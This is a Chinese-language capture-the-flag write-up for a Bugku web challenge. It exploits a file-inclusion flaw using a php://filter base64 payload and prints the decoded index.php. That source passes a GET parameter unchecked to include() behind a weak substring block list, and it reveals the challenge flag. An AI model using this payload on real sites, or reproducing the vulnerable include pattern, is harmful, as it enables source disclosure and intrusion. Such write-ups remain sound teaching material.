【Writeup】Bugku-Web-flag在index里

 

click me, no? 那当然要click啦

注意地址栏,出现了?file=show.php,说明出现了文件包含漏洞,题目又提示flag在index中,所以用php://伪协议查看index.php内容

即使用php://filter也不能直接在页面中读取resource=index.php的内容,此处要对php进行一下base64编码(还有其他方式比如ROT13可以使用但base64比较容易解码)

先来看一下php://filter的用法:

因此制造payload:?file=php://filter/read=convert.base64-encode/resource=index.php

页面返回了一段base64:

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

放到Cyberchef中解码,得到一段php代码(就是index.php的内容)

 1 <?php
 2     error_reporting(0);
 3     if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
 4     $file=$_GET['file'];
 5     if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
 6         echo "Oh no!";
 7         exit();
 8     }
 9     include($file); 
10 //flag:flag{edulcni_elif_lacol_si_siht}
11 ?>

不需要认真看代码,因为flag就在注释中

posted @ 2020-04-28 15:25  AFJ1923  阅读(316)  评论(0)    收藏  举报